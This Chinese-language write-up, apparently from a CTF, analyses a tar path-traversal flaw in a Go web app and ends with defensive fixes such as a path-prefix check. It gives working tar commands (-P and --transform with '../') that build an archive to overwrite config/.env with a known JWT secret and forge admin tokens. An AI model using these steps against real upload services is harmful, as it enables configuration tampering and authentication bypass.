浅谈Go web中的Tar解压缩漏洞
字数 848 2025-08-22 12:23:19
Go Web中的Tar解压缩路径穿越漏洞分析与利用
漏洞概述
在Go语言的Web开发中,处理文件上传和压缩文件(如tar文件)时,存在路径遍历漏洞。这种漏洞允许攻击者通过精心构造的tar文件,将文件解压到任意目录,从而覆盖重要文件或执行其他恶意操作。
漏洞代码分析
关键代码位置
漏洞主要存在于file.go文件中的extractTar函数:
func extractTar(tarPath string, userID uint) (string, error) {
userDir := filepath.Join(extractedDir, fmt.Sprintf("%d", userID))
err := os.MkdirAll(userDir, os.ModePerm)
if err != nil {
return "", err
}
tarFile, err := os.Open(tarPath)
if err != nil {
return "", err
}
defer tarFile.Close()
extractor := &tar.Extractor{
Path: userDir,
}
err = extractor.Extract(tarFile)
if err != nil {
return "", err
}
return userDir, nil
}
漏洞利用条件
- 系统使用
github.com/whyrusleeping/tar-utils库进行tar文件解压 - 解压时没有对文件路径进行严格校验
- 目标系统有敏感文件可被覆盖(如
.env文件)
漏洞利用方法
方法一:使用-P参数创建恶意tar文件
-
在Linux系统中创建多层目录结构:
mkdir -p /tmp/exp/config echo "JWT_SECRET=Hacker!!!Is_secret!!!" > /tmp/exp/config/.env -
使用-P参数创建tar文件(保留绝对路径):
tar -cvPf malicious.tar -C /tmp exp/config/.env -
上传该tar文件后,系统会解压并覆盖
./config/.env文件
方法二:使用transform参数修改路径
-
创建测试文件:
mkdir -p /tmp/exp echo "JWT_SECRET=Hacker!!!Is_secret!!!" > /tmp/exp/.env -
使用transform参数创建恶意tar文件:
tar --transform 's,exp/,exp/../../../,' -cvf malicious.tar -C /tmp exp/.env
路径穿越原理
底层源码中的解压文件函数在处理路径时:
- 将路径字符串按
/划分 - 丢弃第一个切片
- 因此:
- 对于
/../../../.env只需要三层回退 - 对于
../../../../config/.env需要四层回退
- 对于
漏洞利用流程
- 构造恶意tar文件覆盖
.env文件(包含已知的JWT密钥) - 上传恶意tar文件
- 系统解压时会覆盖
config/.env文件 - 重新登录系统,使用已知密钥伪造JWT token
- 获取管理员权限访问flag文件
防御措施
-
解压前校验文件路径:
func safeJoin(base, path string) (string, error) { fullPath := filepath.Join(base, path) if !strings.HasPrefix(filepath.Clean(fullPath), filepath.Clean(base)+string(os.PathSeparator)) { return "", fmt.Errorf("unsafe path traversal") } return fullPath, nil } -
使用安全的解压库或自行实现安全的解压逻辑
-
限制上传文件类型和大小
-
对敏感配置文件设置只读权限
-
使用不可变的配置或环境变量
总结
该漏洞展示了在文件处理过程中路径校验的重要性。通过精心构造的tar文件,攻击者可以绕过常规的文件上传限制,实现目录穿越和敏感文件覆盖。开发者在实现文件解压功能时,必须对所有解压路径进行严格校验,防止路径穿越攻击。